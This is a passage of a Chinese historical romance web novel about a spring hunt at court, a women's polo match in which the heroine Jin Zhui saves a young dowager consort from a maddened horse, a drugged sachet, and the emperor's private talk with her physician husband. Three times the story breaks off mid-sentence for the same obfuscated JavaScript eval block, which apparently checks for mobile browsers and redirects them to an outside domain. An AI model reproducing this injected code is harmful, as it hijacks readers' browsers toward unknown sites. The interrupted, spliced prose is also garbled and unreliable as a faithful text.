“怎么,我去不得?”金坠白他一眼,“新婚燕尔,岂有撇下新妇自个儿赴宴去的道理?” 君迁一脸无辜:“我可没撇下你。” “那你何必如此不情不愿?”金坠盯着他,“莫非还有人不愿我去?” 君迁一怔,低低道:“金宰执让我知会与你,请你称病一日,在家修养。” “你倒是老实。不过我也料到了,那日我出阁成亲,他们都不愿抛头露面招惹口舌,何况这般皇家盛会了。”金坠冷笑,“若我非去不可呢?叔父可会拿你是问?” 君迁道:“你想去便去,我只负责传话。” “那便为难你了。许多人盼着我去添乐子呢,我可不能让他们扫兴——再说,我与你成亲至今还未回门敬孝,叔父叔母不念我,我却不能不念他们。正好借这春猎宫宴省亲去,不枉其乐融融的节氛。” 金坠悠然语毕,信手从盘中拈起一枚雪花酥来。衣袂垂落,露出腕上那只翡翠镯。皓手清玉,莹透惹眼。金坠细嚼着糖酥,见君迁似被手镯吸引,暗暗从书中抬目瞥向自己腕间,遂将手伸至他面前,晃了晃那只心爱的镯子,曼声问道: “好不好看?” 君迁移目:“你喜欢便好。” “它就是我的命,我自然喜欢。”金坠收回手,细细摩挲镯身,“常言玉可挡煞,我戴着它去赴宴,替我挡些唇枪舌剑,你说可好?” 君迁只道:“玉性寒凉,久戴伤身。” “沈学士医术精湛,我若伤了身,倒也不愁。”金坠话锋一转,“可若是伤了心,却不知是否有药可医。” 君迁淡淡道:“世间不乏清心安神良方,我药园之中便有不少。若有所需,替你开几幅便是。” 金坠微哂:“沈学士倒也实诚,不拿那些‘心病还须心药医’的浑话唬我——说起清心药方,前回你让谢翁给我送来的那盏莲心饮就很不错,我只喝了一口,便觉心火烬灭,五蕴皆空呢!” “那就好。”君迁轻轻翻了页书。 一时无话。金坠低头啜了几口清粥,徐徐道: “昨晚饭后闲逛,去厨房转了转,正好他们还未收工,我便请教了些汤饮做法,亲手做了些香饮子。恐搅扰你,没给你送去。正好这会儿朝食快用完了,我教宛童回炉端来,你尝尝,权当答谢你的莲心汤——宛童!” 宛童见金坠招手,端着只白瓷盖碗进来,笑盈盈地搁在君迁案前:“沈学士请用!” 君迁怀疑地盯着送到面前的汤盏,并不去接。金坠一本正经道: “放心,我不动手,就放在此处,你自己喝便是。这香饮子我可辛苦炖了许久,你若不赏脸,我可要恼了!” 君迁无奈放下书,举盏小饮了一口。金坠目不转睛地盯着他,满心期待他上蹿下跳,半晌却未从他面上觅到一丝异色,急道: “味道如何?” 君迁搁下汤盏,不疾不徐道: “苦桑、粉葛和紫花前胡这几味药皆为辛凉属性,入口虽辛辣了些,却有互补之益。清肺润燥,调理气血,非但害不了人,还是养心安神的良方。” 金坠被识破了图谋,讪讪一哂;又见他呷了口那秘制“香饮子”,转头望向自己,严肃道: “我案边有一本《和剂局方》,其中记载了不少食疗药方及功效。你下回若有志于此,反着照书来便是,必定事半功倍。” 金坠冷笑:“多谢夫君指教,下回定‘逆图索骥’,包君满意!” 君迁抿了抿唇:“娘子客气了。” 二人尴尬对坐,煎熬着用完朝食,终于等到宫里来人通禀,称御驾已出宫前往近郊猎苑,请他们启程随驾。金坠如释重负,唤宛童持镜整妆,撇下君迁兀自出发了。 皇室春猎,簪缨贵胄群雄逐鹿,恃强争霸,群雄之外的士族子弟便只得去追猎鹿剩下的兔子田鼠。争强好斗者自不会错失良机,个个鲜衣怒马,驰骋畋猎,一心在这皇家盛会上斩头露脸。心慈好佛的文人儒子不忍杀生,只佯作射艺不精,草草往林中放几支空箭,便三五成群坐于花树下饮酒清谈。 沈君迁自属后者,倒非是心慈好佛,亦非射术不精,更不是为了与人清谈取乐。甫一至此,略略做了些仕场寒暄,便寻了片远离人群的草茵坐下,独自看起书来。 同僚们平日见惯了他如此,不足为奇,倒是那些随驾女眷引以为奇,暗自指指点点,窃笑喁喁。嘉陵王妃为首的一班贵女尤为积极,嘲完了这位书痴学士,又将话柄引回他的新婚娘子身上,指着同样独坐于人群外的金坠,交头讥笑: “这便是夫唱妇随——瞧他们一东一西,远隔人海,倒似一对天各一方的牛郎织女哩!咱们不妨挪挪地儿,也不碍着他们鹊桥相会!” “瞧这沈学士生得是芝兰玉树,可惜心里也只有那些草药,多半是个不能人事的,某些人说不定比守活寡还惨呢!可怜那么个狐媚子,竟栽在个书痴子手里,找谁说理去?” 金坠早听见她们在说什么,面不改色,隔着数席朗声道: “我夫君能否人事,旁人说了可不算,须得他同睡一床的人说出来才是真的——诸位姊妹既这般关心,我这便向你们细细道来可好?” 语毕嫣然一笑,眼波流转,佯作要当众开口。那班贵女岂知她这般接话,悻悻不语,扭头骂道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977798|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “没脸没皮的狐媚子!嘉陵王殿下哪儿都好,偏是眼睛不好!咱们王妃金枝玉叶,他竟被那下三滥的蛊惑住了!” “听说那贱人生来是克夫命,我看殿下也是遭她所害!居然还有不怕死的敢来惹她,恐那沈学士也性命堪忧了……” “沈学士毕竟是个行医济世的,想必早已有了舍身渡人的决心呢!可惜……” 嘉陵王妃听任女伴们在跟前莺声燕语,皮笑肉不笑地乜斜着眼,却见金坠亦正侧头回视自己,面若桃花,笑如春水,盛妆鲜衣璀璨夺目;反观自身,因亡夫丧期未过,只得不情不愿地裹了一身素服。想到妆奁中那堆没机会用的时新胭脂,王妃不禁心火中烧,冷哼一声便移开目去。 晌午过后,春猎落幕,天子按例移驾正对猎场的金林御苑,于此设宴邀百官同庆。是月花季,苑中群芳竞艳,芍药、牡丹、木香等娉娉婷婷漫作香海。本朝素有簪花之俗,每至春宴,上至皇亲贵胄,下至黎庶百姓,男女老幼悉皆鲜衣鲜花出游,芳影满街耀人眼目。 今上御极未久,年轻气盛,开宴前便赐了花。在春猎上拔得头筹的自不必说,前后从驾臣僚、百司仪卫皆赐御花以佩,一时花光满目,御香拂道。 女眷这边,太后因病未至,特降懿旨遥赐簪花。宫女携鎏金花盘沿座序依次至贵妇们面前,捧出盘中各色鲜花供她们挑选。雍阳大长公主性喜淡雅,选了一朵素馨花去。皇后年少谦和,只随意挑了朵芍药。几位太妃持重,皆挑素净雅致的花色捡,因此轮到嘉陵王妃时,盘中仍有不少鲜葩无人问津。 王妃被其中一朵偌大的紫红牡丹吸引,正要伸手去取,身后婢子忽轻轻推了推她。王妃幡然醒悟,自己仍在服丧,岂可挑这姹紫嫣红的落人口舌?遂只得忍痛割爱,转而捡了朵不知名的白花簪在鬓旁,凄清冷落不可胜言。 嘉陵王妃善妒,贵女们不敢得罪这未亡人,皆跟着挑了不甚起眼的花色。待最后到金坠挑选时,盘中竟只剩下那朵紫牡丹。金坠不遑多让,素手拾起那明艳的花中之王簪在发上。 一霎时,云想衣裳花想容,名芳倾国两相欢。她本是清淡的相貌,今日盛妆艳抹,如雪绢绮绣,比平素不事雕琢时更惹人回眸。嘉陵王妃看在眼中,恨在心中,大声讥道: “金五娘子今日鲜花红妆,好生喜庆呀!” 金坠亦大声回道:“王妃谬赞,燕尔新婚,自得打扮得喜庆些呢!” 王妃冷笑:“喜庆是喜庆,却俗了些,竟如何也看不出‘清立水云间’的仙姿了!” “清立水云间”这五字出自金坠曾回赠给嘉陵王的那首和诗。当初这小诗落在了王妃和她背后那些理学名臣手里,经一番断章取义,生生将一首山水诗打成了艳靡之词。当着这春日盛宴,王妃重引旧篇,其义自见,霎时满座嘲讽不绝。金坠置若罔闻,莞尔道: “既是天仙下凡,自得做些凡间的装扮,否则岂不将旁人都衬得像庸脂俗粉了?” 王妃容色一凛,一时语塞。身边一跟班忙替她出头,翘着鼻子骂金坠道: “都是庸脂俗粉,就你高贵!话本上的天仙是济难救世来的,某些自诩天仙的却自甘轻贱,我看不是下凡,是被天庭打下来专给人做小的!” 话音未落,讥笑鹊起,引得远坐上首的雍阳大长公主侧目询问,贵女们方才收敛些许。金坠不愿再同这些人浪费口舌自取其辱,摸了摸鬓边簪花,气定神闲目视前方,只当是一群苍蝇在耳边嗡嗡。 11.竞马鞠 女宾席上波流暗涌,对面男宾席则一团和气,热闹非凡。少年天子元祈威正与一众亲僚近臣同席享宴。祈威刚满十六岁,生得儒雅文弱,笑起来颇有些青涩,话不多,也不怎么饮酒,静坐御案,任由身旁儿郎们嬉闹。 宰执金霖等老臣经历了午前春猎,体力不支,此时皆退居稍远的雅席。青年儿郎们无拘无束,酒酣耳热,看过教坊司呈上的百戏杂耍,个个坐不住身,都换装上阵打马球去了。祈威见众人纷纷起身,唯有沈君迁静坐在旁,问道: “两军对垒,沈学士不披甲上阵?” 君迁看书看得出神,未听见皇帝唤他。身边一人捅了捅他,君迁连忙回神,忙搁下书起身回禀道: “臣球技不精,恐扫诸君雅兴,请陛下允臣旁观。” 他愈是谦让,愈发激起众人玩兴,纷纷起哄催他上阵: “此处又不是翰林院,哪有管自己看书的道理!” 祈威笑道:“你们也别为难他了,沈学士一向不喜这个。以前他在东宫陪我读书的时候,每每我们狩猎打球,他便坐在边上看他那堆医书药典。老太傅常笑他说,别人是书中自有黄金屋,沈学士却是书中自有茅草——不,药草屋!” 众人揶揄:“沈学士宣药疗疾,雅量高洁,自与我等凡夫俗子所求不同!再说稀世药草反比黄金还值钱哩!” 言毕,都披挂上阵打马球去了。场上一时东西驰突,风回电激,喝彩连连。席上只剩皇帝和君迁二人,君迁仍埋头看书,祈威则取出一张金带弓来看,忽侧过头去唤了君迁的字,将弓递给他,问道: “见微,你看此物如何?前月登基大典时辽国使臣敬献的——这箭镞据说是用草原金狼王的骨骼所制,百步封喉,锋锐可破铠甲呢。” 君迁忙放下书,颔首道:“确是稀世利器。” “是吧?”祈威引弓对天,话锋一转,“可午前我用它去狩猎,却连只兔子也未射中,竟白让这稀世利器摧折在手上!” 君迁一怔道:“猎苑众兽本为囊中之物,陛下欲猎,无需亲为。” “我的箭术丢人是出了名的,你别安慰我了!将那些旷野上的猛兽圈起来供人当靶子,倒也无趣极了。” 祈威苦笑一下,望着君迁,自语似的说道: “见微,你还记得么?以前在东宫读书的时候,老太傅曾让我讲讲日后治国的政略,我说倘我做皇帝,第一桩事便是废除春猎秋狩,将猎苑中关着的鸟兽全放归山野。老太傅听后唉声叹气,被选来陪我读书的那些同伴也都笑我,唯独你一脸严肃地点着头。我当时便想,我交定你这个朋友了。” 君迁微哂:“年少无忌,陛下不必介怀。” “是啊,谁能想到一个无忌少年,竟当真成了一国之君呢?奈何春猎礼俗不可违,不得不继续委屈那些生灵了。” 年轻的新帝叹息一声,面带愧色地拍了拍君迁的肩,苦笑道: “见微,我知你一向不喜这些场合,委屈你苦熬一日。” 君迁忙道:“陛下言重,此间风景宜人,臣在此读书,不觉难熬。” 祈威一哂,垂眸低语:“这些年来,什么都变了,连这春猎场上的景象也大不同往日,唯有你同你手上的那些医书药典没变。” 二人一时无话,都抬头看着热闹的马球场。鏖战几轮,场上人马累得气喘吁吁。对席雍阳长公主忽朗声道: “你们这群儿郎玩得差不多,该轮到我们女人了吧?先帝在时,曾聚宫娥们马鞠竞赛,如今也不能荒废了——换几匹能跑的马驹来,备好行头,给愿出战的女将们换上!” 女子马鞠已许久不曾在宫中举行,谁知大长公主心血来潮,众贵女毫无准备,都不敢应战。长公主蹙眉道: “难道一个能战的都没有?想那北地辽女、南国滇女皆善骑射,唯独我们中原女郎成日坐在闺中做女红、学女德,成何体统?” 此话一出,终于站出来几个将门之女,外加长公主选派的几名侍女,勉强凑了支球队。长公主清点人数,问道: “还差三人,有谁愿战?方才听嘉陵王妃那一席热闹得很,这会儿怎没声了?” 嘉陵王妃那一班贵女你看我我看你,扭扭捏捏,都不出头。金坠有意盖过她们的风头,遂起身自荐: “妾愿献丑。” 长公主笑道:“还是金宰执家的女郎有魄力!快把我的‘掠地云’牵来,教金五娘子骑上!” 金坠向长公主道了谢,大步走上球场,回头向嘉陵王妃粲然一笑: “大好舞台,王妃不来同场竞技一番?唇枪舌剑岂敌真刀实剑?” 王妃瞪她一眼,自称亡夫丧期未过不宜玩乐,只派了两个跟班上去应战,耳提面命,教她们无论如何也要给金坠使绊子出丑。 球员聚齐,长公主命人打扫球场,让参与之人皆换作男装,头戴短巾,身着窄袍,与先前娇滴滴的模样大不相同。场上马匹也都换成了适合女子体型的马驹,玉鞍金勒,宝缰花冠,配上女郎们英姿飒爽的身影,在春光下自成一幅别开生面的画卷。 金坠幼时随母亲在乡下杂院生活时便学会了骑马,结交嘉陵王后又被他传授了骑术和马鞠,虽比不过将门女子,对付嘉陵王妃派来的那两个长舌妇还是游刃有余。那二人骂人难听,生得也五大三粗,原想仗蛮力拦截金坠,却被她身轻如燕虚晃过去。其中一个落马摔得狗啃泥,哭丧着爬不起来。另一个没了心气,只在场上浑水摸鱼。 战鼓鸣响,玉马奔驰。场上打得火热,一时香风袭人,粉汗淋漓。儿郎们难得见这场景,个个兴趣盎然,目不转睛,都揶揄君迁: “沈学士新娶的娘子看着娇娇弱弱,不想竟是个巾帼英雄!看她这般好胜,在家没少欺负你吧?可千万别让她将马球杆带回去!” “她有球杆,沈学士自有猛药——谁欺负谁还不一定呢!” 君迁任由他们取闹,兀自举书挡住面孔。人在看书,目光却暗暗从书页游离到远处的绿茵场上,遥望着那个纵马挥杆的飒爽身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981161|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,半天回不过来。 女子马球打得如火如荼,几回合下来,金坠那队传射俱佳,接连破门,博得满座喝彩。嘉陵王妃派来围剿金坠的两个女打手偷鸡不成蚀把米,摔得鼻青脸肿,都寻借口退赛了。场上少了人,一时寻不出替补。 雍阳长公主起身道:“难得开心一场,一个个畏手畏脚,败兴得很!罢了,本宫亲征便是!” 大长公主年逾五旬,虽保养得好,毕竟不是打马球的年纪了。女子马鞠本就有违礼法,雍阳竟不顾端庄毅然“亲征”,引得满座惊愕。 雍阳长公主为先帝德宗之妹,因是先太上皇的独女,恩宠逾制,曾出嫁执掌禁中兵权的神武大将军扈严。十年前驸马病故,先帝特许雍阳回宫颐养。长公主性多权略,趁先帝晚年多病、太子少不更事,自此广树党羽权倾朝野,金霖便是她麾下最倚重的一员酷吏。朝中清流对此敢怒不敢言,尤其是翰林院的那些理学名臣,听说长公主竟要亲自上阵打马球,个个拉长了脸,阴沉不语。金宰执则不敢怠慢,扭头命人去鞍前马后地张罗起来。 长公主见场上还缺一人,问道:“还差一人,谁愿随吾出战?” 皇帝元祈威忽道:“朕记得众太妃之中亦有好马球者,良机难得,何不请出随姑母一战?” 长公主看向静悄悄的后宫席:“哦?是哪一位太妃?” 宰执夫人叶氏起身道:“禀大长公主,叶贞太妃自小擅骑术,先帝曾组宫娥马鞠队专为太妃游伴呢——快看,太妃正跃跃欲试哩!” 众人顺势望去,一眼便看见太妃席间翘首端坐着的一位少女。看面容不过十八九岁,身形娇小,白净纤细,若不知她便是先帝极宠的叶贞太妃,凭谁都会以为她是坐错了席位。 金坠远远看见贞太妃,一时恍如隔世。太妃小她三岁,闺字灼,是她叔母叶氏的族女,若按辈分排,算是她的远亲。三年前叶灼被选进宫中赐封贞妃,为这个已然华贵的家族再添无上殊荣。去岁末先帝驾崩,叶灼小小年纪便晋为太妃,在这春宴上与年长她数轮的前朝后宫佳丽们端坐一处,晒着难得一见的宫外暖阳。 先帝丧期未过,身为太妃上场打马球绝不合宜。叶灼年轻的眼中虽有向往,一时不敢应声。雍阳长公主道: “贞太妃不必拘谨,你年纪还轻,难得春猎游宴,没那么多规矩,随性便是!先帝在时也喜欢看大家开心热闹。你瞧我这把老骨头不也披挂上阵么!” 祈威微笑着望向叶灼:“贞太妃就出场吧,一局便好。少了你,这场好仗可打不起来了。” 天子劝请,贞太妃只得赧然起身,随大长公主去换了男装,一同迤逦步至绿茵场上。金坠等人连忙下马恭迎。太妃上前扶起她,莞尔一笑: “五姊姊别来无恙?” 金坠一怔,忙恭敬道:“托贞太妃洪福,一切如常。太妃贵体安好?” “我很好。”贞太妃柔声道,“我从不知五姊姊也会打马球呢!早知你打得这样好,往日就该多寻你切磋。” 12.堕玉鞍 虽有亲缘,金坠与叶灼的关系却算不得亲密,不过幼时一道读过书、做过女红罢了。此刻太妃的这声“五姊姊”一下将金坠拉回了过往,令她感慨万千。上回相见是在前年,彼时叶灼入宫不久,归宁省亲时匆匆一晤,话也不曾说上两句。金坠记得她天性烂漫,一度忧心深宫岁月将过早磨灭她的心性。 再见已是今朝。昔年天真的小妹成了天下最尊贵的孀妇,在这人心叵测的宫宴之上,却只有她仍如旧日一般,当众唤出那一声“五姊姊”。 雍阳长公主待她们叙完旧,执起球杆,朗声对场上众人道: “难得竞赛一场,谁敢不卖力,吾可要恼的!特别是金五娘子,方才见你横扫千军,好教人血气沸腾,惹得本宫亲来与你对对阵!正好贞太妃做吾副将,你们场下是姊妹,场上可是敌手了,切莫手下留情!” 金坠忙道:“是,还请大长公主、太妃见教。” 贞太妃身形娇小,雍阳长公主特命人为她牵来一匹雪白的小马驹,名为“雪面娘”。长公主则骑上了自己心爱的战马“锦地龙”,率领麾下数名女将向金坠那一队开战。 春风猎猎,战鼓催发。场下观战的青年儿郎们个个兴致勃勃,摩拳擦掌,为各自心仪的女郎呐喊鼓劲。沈君迁仍正襟危坐,假装拿书遮着面孔,蓦地被一旁调皮的同僚抽走,正色道: “最后一局了,还不好好为你家娘子助威?赛场上不喊,打算憋到何时再喊啊?” 君迁被夺了书,刚要理论,一只彩毬从天而降,直直向他飞来。所幸他侧身一避,才没被砸到。他惊魂未定,抬头却见金坠满脸无辜地立在场边望着他,向他招了招手,示意他将球扔回去。 “人家发现你眼里没她,同你怄气呢!” 儿郎们纷纷揶揄。君迁叹了口气,俯身拾起马球,礼尚往来似的高高抛向金坠。金坠未料到球的高度,勒马转身,只听身后队友高呼道: “小心球被抢!” 话音未落,雍阳长公主单骑突袭而来,气势惊人,看身形竟与场上一众妙龄女郎无差。金坠迎上护球,举杖接住了君迁抛来的马球,带球直奔球门。 “拦住她!”长公主高喝一声,率军猛追。 金坠连过三人,闯至门前,轻挑球杖,那朱红小球便如活物般从草地上跃起,随她手腕一翻,流星一般直飞球门。 “进了!”场边一阵喝彩。 金坠直起身,抬手抹去额角细汗,唇角微扬。长公主拢辔笑道: “金五娘子果然实力不俗!休要得意,下一球定是吾囊中之物!” 锣鼓鸣响,下一球开出,落到了贞太妃马下,被她挥杆制住。太妃身下那匹通体洁白的马驹“雪面娘”乃是西域进贡的名马,速度惊人。金坠眼见叶灼来势汹汹,忙策马拦截,二人几乎并驾齐驱,霎时尘土飞扬。 “五姊姊承让了!” 叶灼娇叱一声,球杖横扫,从金坠马前抢道而过。就在这电光火石之间,雪面娘忽发出一声凄厉长嘶,前蹄高扬,马眼血红。叶灼猝不及防,险被甩下马背,死死抓住马鬃,手中球杆砰地落在地上。 “太妃小心!” 金坠失声惊呼,却见那小白马已完全失控,调头朝场外树林狂奔而去。 台上台下一阵尖叫,乱成一团。金宰执起身大喊:“护驾!保护太妃!” 皇帝元祈恩急得发狂,几欲飞身冲上场去,被众亲卫拦住。眼见狂马飞驰而去,金坠不假思索,一夹马腹追了上去。耳边风声呼啸,她心跳如鼓。前方太妃小小的身影在马背上颠簸起伏,孤舟一般。 两匹马前后冲入树林。树枝抽打在脸上,针扎一般,金坠顾不上疼,催马加速,朝前方大喊:“抓紧缰绳!” “我抓不住!”叶灼声音里满是惊恐,摇摇欲坠。 金坠咬紧牙关,提速追至她身旁。看准时机,忽从马背上站起,纵身一跃,扑到雪面娘背上,一手环住叶灼的腰,一手试图拉住缰绳。受惊的马匹力量奇大,缰绳霎时从她手中脱出。 “跳!”金坠疾呼一声,抱着太妃翻身下马。 两人一同跌落马背,滚入林间。金坠紧紧将叶灼护在怀中,自己的背脊却撞上一棵老树。剧痛袭来,她眼前一黑,面朝下倒在地上,只听见远处渐近的马蹄足音潮水般涌来…… “金坠……!” 嘈杂之中,有人在耳边声声唤她。金坠睁开眼,看见了君迁的眼睛。那双眼睛一向波澜不惊,此刻涌着湍流,疾风骤雨般聚在她脸上。她忍痛坐起来,发现自己正被他抱在怀里。 “别动!”他疾言制止她,旋即收敛音量,垂眸问道,“哪里痛?” 浑身都痛。但她只咬唇道:“我没事,快去看看贞太妃……” 话音未落,叶灼从一旁膝行而来,语带哭腔:“五姊姊!你怎么样?伤了没有?都是我不好……” 这时众人都随雍阳长公主、皇帝一行策马赶至,团团围住他们。太医尚未赶到,都指望着君迁。他只得让金坠躺在一边,先为贞太妃检查了伤势,说她除了受惊和少许擦伤外并无大碍。众人松了口气,都围住太妃安慰。 君迁重新回到金坠身边,轻托着她的肩扶她半坐起来,说道:“看着我。” 金坠只得乖乖抬头看着他。君迁轻拨开她的眼睑检查一番,严肃道:“看得清我的脸么?” “比任何时候都清楚。”金坠苦笑一下,嗫嚅道,“我没事,只是在树上撞了一下,回去躺躺便好了……” 君迁眉头紧蹙,一手环拥着她,另一手轻抚上她的后背,沿着椎骨摸到一处,稍稍施力一按。金坠立时吃痛惊呼起来,委屈巴巴地盯着他,紧咬着唇,眼眶微红。 一旁围住贞太妃的众人这才被她的呼声吸引,雍阳长公主忙问道: “金娘子伤到哪里?无大碍吧?沈学士快为她瞧瞧!” 君迁道:“内子有些挫伤,需即刻上药静养,臣请带她归家医治。” 祈威忙下令:“事不宜迟,快送金娘子回府!” 君迁小心翼翼地横抱起金坠,疾步走出树林。众人簇拥着贞太妃一道离开。雍阳长公主命人去寻那匹跑得不见踪影的狂马,一路叹道: “这雪面娘一向温驯得很,怎会突然发狂?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990389|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知是谁幽幽道:“莫不是赛前吃了什么不该吃的?” 主管马政的内侍慌忙禀道:“所有赛马都是一同喂的草料,不知何故偏偏太妃的这一匹发了狂……” 刚出树林,太医们姗姗来迟,替贞太妃检查了伤势,都说无碍,众人方放下心来。宰执金霖和夫人叶氏都来了,一群人围住叶贞太妃嘘寒问暖,压根没注意到金坠也受了伤,看也没看她一眼。金坠本也没指望叔父叔母关心自己,见他们竟这般冷漠,心中难免唏嘘,咬唇忍着疼,转过脸埋进君迁怀里,恨不得消失在这里。 君迁避开乌泱泱的人群,抱着金坠走向候在路旁的马车,小心避开她后背的伤处,让她侧卧在车厢里。正要一同上车,身后雍阳长公主唤住他道: “沈学士留步!适才贞太妃堕马,你是第一个赶至现场的,可曾见到什么可疑之事?” 君迁一怔,不知所措。祈恩见他被留下回话,便命马车先送金坠回去,又派了两个太医一同前去沈府照顾金坠。正要出发,金坠忽从车窗中探头轻唤他,从袖中取出一物交给他,低低道: “这是太妃落下的……” 那是只精美的香云纱香囊,一眼便是禁中之物。君迁接过去嗅了嗅,面色一沉,让马车先送金坠回去,转身将香囊呈给叶灼,问道: “恕臣冒犯,这只香囊可是太妃随身之物?” 叶灼一怔,点了点头。祈威皱眉道:“莫非这香囊有什么异处?” 君迁解开香囊,将其中香料一并倒在掌中,从中挑出一撮干草碎末展示给众人。 “香料中混入了碎莽草——石莽草对牲畜有惊逸作用,马闻之必狂。”君迁询问叶灼,“太妃可知,这香囊从何而来?” 贞太妃惊魂未定,呆呆摇了摇头。她的族母叶氏厉声问道:“太妃宫里的人呢?天大的事,都哑巴了?” 随行的内侍婢子慌忙跪了一地,哆哆嗦嗦地禀道太妃用的熏香一向是尚服局分送的,下人们不曾动过。 霎时议论蜂起。金宰执从君迁手中接过香囊,捻起一簇碎莽草端量片刻,转身进言道: “陛下、大长公主容禀,定是有人居心不净,设计用此毒物谋害太妃!兹事体大,臣请彻查此案!” 长公主道:“这倒奇了!今日马球赛全因我一时兴起,是谁有本事未卜先知,提前将这催马发狂的香囊送给贞太妃?” 金霖道:“事出蹊跷,必有阴谋!请大长公主允臣严查此案,揪出谋害贞太妃的凶犯,以儆效尤!” 长公主蹙额沉吟片刻,颔首道:“那此事便有劳宰执操心了。好好一场马球,竟惹出这等是非!贞太妃今日受了惊,你们切要好好照顾她。还有金五娘子,不知她怎样了——往府上送些良药,再派两个医官去给沈学士打下手。本宫也乏了,今日便散了吧!” 大好春日游宴这般收场,众人郁郁寡欢,怏怏四散,做随驾返程的准备去了。君迁如获赦令,正要去追金坠的马车,忽被人轻轻拽住衣角,回头见是天子身边的老内侍何文,忙恭敬施礼。老中官和蔼地回了礼,低低道: “陛下请沈学士移步议事。” 13.人散后 内侍监何文年逾古稀,秉性持重,先帝在时视之为心腹股肱。今上亦因他是三朝勋旧耆老,礼之甚重,留于身旁传唤密令。君迁不敢多言,即随老中官来到春猎场边的御帐中。 正值宴散,众人皆做起驾回宫的准备去了,御帐前悄然无声,只有几个宫人随侍在外。少年天子元祈威独立帐中,正仰头望着高悬在墙上的金带弓出神,年轻文弱的身影在灯影下显得有些伶仃。听见君迁入帐,回首唤道: “见微!” 君迁忙上前见礼。何中官悄然退出,留君臣二人在帐中密谈。祈威带着君迁来到案前,语带歉意道: “事出突然,令正又受了伤,本不该留你了。可也寻不到别的时候……” 君迁问道:“陛下可是为方才之事苦恼?” 祈威点了点头:“贞太妃的那只香囊万分蹊跷……依你之见,真相如何?” 君迁低语:“此事尚未查明,臣不敢断言。” 祈威眉头紧锁,垂眸盯着跳动的烛火,沉声道: “依我之见,女子马球赛原是大长公主临时起意,贞太妃替补上场更是意料之外,就算有人在香囊上动了手脚,如何能够未卜先知?就算有人未卜先知,对贞太妃心生歹念,暗中行事岂不便利,为何冒险在宫宴上顶风作案?据我所知,贞太妃生性温淑,从不与人交恶。先帝在时后宫妃嫔皆对她称颂有加,何况如今……?” 言至此,不再说下去。君迁沉吟片刻,主动接话道: “臣以为,莽草是宫中常见药材,许是宫人制香时误将此物混入其中,分派至各处宫中。只需察验同一批香囊,看是否皆掺有莽草,真相自明。” “我也这么想。”祈威话锋一转,“只怕原是一场意外,最终却不是意外。” 君迁一凛:“陛下之意是……” “你岳丈金宰执方才当众掷下狠话,说要彻查此事——这是他做上宰执后的第一桩公案,又牵涉叶贞太妃,以我对金相的了解,就算最后查不出什么,只怕他不会放过这个立威的机会,定要罗织一批罪名,甚至牵出一桩谋逆重案呢。” 祈威说着,一声叹息。君迁当然明白天子的担忧——自从金霖攀附雍阳长公主登上宰执之位,朝野已然成了一言堂。谁都知道贞太妃是宰执夫人叶氏的族女,金、叶两家权势滔天,太妃堕马便是他们堕马。金霖在朝中树敌众多,自无可能放过这借势杀人的良机,定要打着为太妃缉凶的旗号掀起冤狱,铲除异己,正如他这些年来一直做的那样。 “你晓得的,我这个皇帝本没多少分量。以金宰执和他手下那些酷吏的魄力,就算照你所言,当真在同一批香囊中察验出了莽草,恐也翻不了案……可怜贞太妃难得尽兴打一场马球,无端卷入其中,不得安生。” 祈威喃喃自语,摇了摇头,抬头望着君迁: “还有金娘子——她今日舍身救下太妃,实令人敬佩不已。我先前并不知晓金家五娘子的为人,还怕指下这桩婚事会令你遭罪,如今看来不必担心了。可怜清水般的骨肉,生在那样一潭泥淖里……” 君迁一时语塞,只道:“不知臣可否为陛下分忧?” “你身份不便,贞太妃这件事只怕插不上手。你能为我分忧的另有其事。”祈威压低声量,“见微,前回同你说过的那件事,进展如何?” 君迁亦压了声,敛容道:“臣连日筹措此事,已与江南一带的医门同侪通过书信,据当地详况,草拟了一份筹建官办病坊的方略,原待明日入宫呈览陛下……” “明日我要随大长公主出宫进香,见不了你,那份方略我会派人来你家中取。此事你是行家,想来没什么可置喙的。”祈威一哂,“病坊的名字想好了么?” 君迁正色道:“暂定为‘施济坊’。” “施济,施药济病……好!一目了然!”祈威激动地握住君迁的手,“那个新上任的杭州通判苏夔亦是个靠得住的,你去了便能见到他。有你二人合力,我很安心——杭州那里都打点好了,若无意外,半月后你便动身吧。” 君迁闻言有些意外,旋即颔首应诺。祈威又道: “你调任诸事章程上已安排妥当,唯独金宰执尚不知情,最好还需你自己同他提。你打算如何说?” 君迁道:“江南春疫多发,地方药局难以应对,臣向太医局提请暂调杭州协理医事。据闻苏通判自到任后就当地医疾之况多有上疏,金宰执亦知此事,想必不会多心。” “这倒是实情。你岳父当晓得你这仁心济世的性子,我也会寻个时机同他提一提,好让你安心动身。” 